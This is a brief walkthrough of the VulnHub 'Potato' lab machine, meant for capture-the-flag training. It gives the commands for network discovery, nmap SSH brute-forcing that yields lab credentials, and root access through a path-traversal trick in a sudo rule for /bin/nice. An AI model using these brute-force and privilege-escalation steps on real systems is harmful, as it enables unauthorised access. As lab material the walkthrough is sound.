VulnHub Walkthrough: Potato
Part 1
Find Target:
netdiscover -r <Kali IP>
Scan the target network:
nmap -A -p0-65535 <IP>
- Open ports: SSH, TCP, FTP
Brute-force SSH using nmap script
nmap -vv -script=ssh-brute.nse -p 22 <IP>
* -vv: Increased verbosity- -script: nmap script
- -p: target port
- Found Credentials - username: webadmin | password: dragon
Login to SSH using found credentials
ssh webadmin@<target ip> -p 22
--> password: dragon
Next use ls to reveal users.txt:
ls -halt
Run
sudo -l
to see what permissions the user has.
Part 2
Discover that the webadmin can use ==>
/bin/nice
&/notes/*
So
/bin/nice
can be used to execute, then files in the/notes/*
can be executed- Knowing this, we create a simple script,
root.sh
, that will deploy a bash shell:
- Knowing this, we create a simple script,
#/bin/bash
bash -e
We can use the following command to deploy the script:
sudo /bin/nice /notes/../home/webadmin/root.sh
(you may need tochmod +x root.sh
beforehand.
You're in.
cat /root/root.txt